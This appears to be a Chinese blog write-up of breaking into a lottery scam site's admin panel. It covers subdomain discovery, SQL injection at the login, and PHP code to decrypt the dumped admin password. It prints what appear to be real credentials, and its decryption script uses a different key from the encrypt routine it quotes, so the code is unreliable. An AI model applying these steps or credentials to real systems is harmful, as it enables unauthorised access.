记一次彩票杀猪盘渗透

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 事件描述

网络赌博是指通过互联网手段(非法赌博网站、博彩App、微信群等)进行的赌博活动。由于网络赌博不合法,资金不受法律保护,有很多“出老千”的行为,很多人被骗后往往不敢报警,导致家破人亡,所以打击赌博,刻不容缓。最近接到渗透一个彩票类的杀猪盘的任务,网站页面如下:

图片[1]-记一次彩票杀猪盘渗透-渗透云记 - 专注于网络安全与技术分享

0x03 事件复现

1.通过扫描子域名找到后台管理系统

图片[2]-记一次彩票杀猪盘渗透-渗透云记 - 专注于网络安全与技术分享

2.对登录口进行注入尝试发现存在sql注入

图片[3]-记一次彩票杀猪盘渗透-渗透云记 - 专注于网络安全与技术分享

3.跑出来了账号密码结果是加密了的

admin | MDAwMDAwMDAwML6hd86RutB6h6qXbQ | 555888

4.后来在网上找到了这个网站的源码,加密方式如下4.后来在网上找到了这个网站的源码,加密方式如下

<?php  

$data = '123456';  

function encrypt($data, $key = '', $expire = 0) {  

    $key  = md5(empty($key) ? 'w%!)+bj$&sGX(Lp4Y@v;l#Q:i7c{MWOT-|AP"}gB' : $key);  

    $data = base64_encode($data);  

    $x    = 0;  

    $len  = strlen($data);  

    $l    = strlen($key);  

    $char = '';  

  

    for ($i = 0; $i < $len; $i++) {  

        if ($x == $l) $x = 0;  

        $char .= substr($key, $x, 1);  

        $x++;  

    }  

  

    $str = sprintf('%010d', $expire ? $expire + time():0);  

  

    for ($i = 0; $i < $len; $i++) {  

        $str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1)))%256);  

    }  

    return str_replace(array('+','/','='),array('-','_',''),base64_encode($str));  

}  

  

function decrypt($data, $key = ''){  

    $key    = md5(empty($key) ? 'w%!)+bj$&sGX(Lp4Y@v;l#Q:i7c{MWOT-|AP"}gB' : $key);  

    $data   = str_replace(array('-','_'),array('+','/'),$data);  

    $mod4   = strlen($data) % 4;  

    if ($mod4) {  

       $data .= substr('====', $mod4);  

    }  

    $data   = base64_decode($data);  

    $expire = substr($data,0,10);  

    $data   = substr($data,10);  

  

    if($expire > 0 && $expire < time()) {  

        return '';  

    }  

    $x      = 0;  

    $len    = strlen($data);  

    $l      = strlen($key);  

    $char   = $str = '';  

  

    for ($i = 0; $i < $len; $i++) {  

        if ($x == $l) $x = 0;  

        $char .= substr($key, $x, 1);  

        $x++;  

    }  

  

    for ($i = 0; $i < $len; $i++) {  

        if (ord(substr($data, $i, 1))<ord(substr($char, $i, 1))) {  

            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));  

        }else{  

            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));  

        }  

    }  

    return base64_decode($str);  

}  

echo encrypt($data);  

5.知道加密方式后我们就能写出解密脚本,admin的密码为facai@88

<?php  

$password='MDAwMDAwMDAwML6hd86RutB6h6qXbQ';  

function decrypt($data, $key = ''){  

    $key    = md5('');  

    $data   = str_replace(array('-','_'),array('+','/'),$data);  

    $mod4   = strlen($data) % 4;  

    if ($mod4) {  

       $data .= substr('====', $mod4);  

    }  

    $data   = base64_decode($data);  

    $expire = substr($data,0,10);  

    $data   = substr($data,10);  

  

    if($expire > 0 && $expire < time()) {  

        return '';  

    }  

    $x      = 0;  

    $len    = strlen($data);  

    $l      = strlen($key);  

    $char   = $str = '';  

  

    for ($i = 0; $i < $len; $i++) {  

        if ($x == $l) $x = 0;  

        $char .= substr($key, $x, 1);  

        $x++;  

    }  

  

    for ($i = 0; $i < $len; $i++) {  

        if (ord(substr($data, $i, 1))<ord(substr($char, $i, 1))) {  

            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));  

        }else{  

            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));  

        }  

  }  

    echo base64_decode($str);  

}  

echo decrypt($password);  

?>  
图片[4]-记一次彩票杀猪盘渗透-渗透云记 - 专注于网络安全与技术分享

6.利用密码和安全码登录后台

图片[5]-记一次彩票杀猪盘渗透-渗透云记 - 专注于网络安全与技术分享
© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容